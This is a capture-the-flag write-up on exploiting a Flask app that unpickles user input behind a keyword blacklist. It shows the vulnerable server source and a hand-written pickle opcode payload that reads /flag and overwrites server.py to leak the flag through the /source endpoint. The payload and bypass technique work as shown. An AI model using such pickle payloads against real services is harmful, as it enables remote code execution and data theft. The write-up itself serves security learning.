Exploiting Filtered Pickle Deserialization in a Flask CTF Challenge
Examination of the source code reveals a Flask application exposing a deserialization endpoint vulnerable to remote code execution. The application restricts specific modules and filters payload content, requiring a customized approach to bypass security controls.
import builtins
import io
import sys
import uuid
from flask import Flask, request, jsonify, session
import pickle
import base64
server = Flask(__name__)
server.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")
class Profile:
def __init__(self, handle, secret, role='ctfer'):
self.handle = handle
self.secret = secret
self.role = role
admin_secret = str(uuid.uuid4()).replace("-", "")
Administrator = Profile('admin', admin_secret, "admin")
@server.route('/')
def home():
return "Welcome to the system"
@server.route('/login', methods=['GET', 'POST'])
def handle_login():
if request.method == 'POST':
handle = request.form['handle']
secret = request.form['secret']
if handle == 'admin':
if secret == Administrator.secret:
session['handle'] = "admin"
return "Access Granted"
else:
return "Invalid Credentials"
else:
session['handle'] = handle
return '''
<form method="post">
<!-- /source may help you>
Handle: <input type="text" name="handle"><br>
Secret: <input type="password" name="secret"><br>
<input type="submit" value="Login">
</form>
'''
@server.route('/deserialize', methods=['POST'])
def unsafe_load():
data = request.form['data']
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:
pickle_data = base64.b64decode(data)
blacklist = {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle', "class", "mro", "flask", "sys", "base", "init", "config", "session"}
for term in blacklist:
if term.encode() in pickle_data:
return term + " waf !!!!!!!"
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
@server.route('/admin', methods=['POST'])
def admin_panel():
handle = session['handle']
if handle != "admin":
return jsonify({"message": 'You are not admin!'})
return "Welcome Admin"
@server.route('/source')
def view_source():
return open("server.py", "r", encoding="utf-8").read()
if __name__ == '__main__':
server.run(host='0.0.0.0', debug=False, port=5000)
The objective is to leverage the pickle vulnerability to retrieve the flag. The /deserialize endpoint decodes base64 input and passes it to pickle.loads after checking against a blacklist of forbidden strings. Additionally, os and sys modules are masked in sys.modules.
Pickle deserialization executes instructions embedded within the byte stream. To generate a valid payload that bypasses the filters, one must construct the opcode stream manually rather than relying on standard class serialization. The GLOBAL opcode allows importing functions from specific modules.
The exploit strategy involves reading the flag file and writing its contents to server.py. Since the /source endpoint returns the content of server.py, this provides a side-channel to exfiltrate the data.
# Payload construction logic
fetch_attr = GLOBAL('builtins', 'getattr')
file_op = GLOBAL('builtins', 'open')
# Open flag file
flag_file = file_op('/flag')
read_method = fetch_attr(flag_file, 'read')
flag_content = read_method()
# Overwrite server.py to exfiltrate
source_file = file_op('./server.py', 'w')
write_method = fetch_attr(source_file, 'write')
write_method(flag_content)
Using a tool capable of generating raw pickle opcodes, such as a custom script or pker, the logic above is converted into a byte stream. The resulting bytes are then base64 encoded. Direct usage of Python's pickle.dumps is often insufficient because it may introduce forbidden strings or fail to handle nested function calls within the reduction process correctly.
import base64
# Example encoding of the generated opcode stream
raw_payload = b"cbuiltins\ngetattr\np0\n0cbuiltins\nopen\np1\n0g1\n(S'/flag'\ntRp2\n0g0\n(g2\nS'read'\ntRp3\n0g3\n(tRp4\n0g1\n(S'./server.py'\nS'w'\ntRp5\n0g0\n(g5\nS'write'\ntRp6\n0g6\n(g4\ntR."
encoded = base64.urlsafe_b64encode(raw_payload)
Submit the encoded string to the /deserialize endpoint via a POST request. Once processed, the flag content is written into server.py. Accessing /source will then display the flag within the returned source code.
Attempting to use standard Python serialization classes highlights the limitations of this approach. A typical __reduce__ implemantation might look like this:
import pickle
class Exploit:
def execute():
open('./server.py', 'w').write(open('/flag').read())
def __reduce__(self):
return (execute)
payload = pickle.dumps(Exploit())
This method fails because the __reduce__ method executes in a context where the class definition and associated methods are not preserved in the deserialization scope of the remote server. The function execute is not available globally on the target machine. Consequently, manual opcode construction using GLOBAL to reference built-in functions is required to achieve code execution without relying on local class definitions.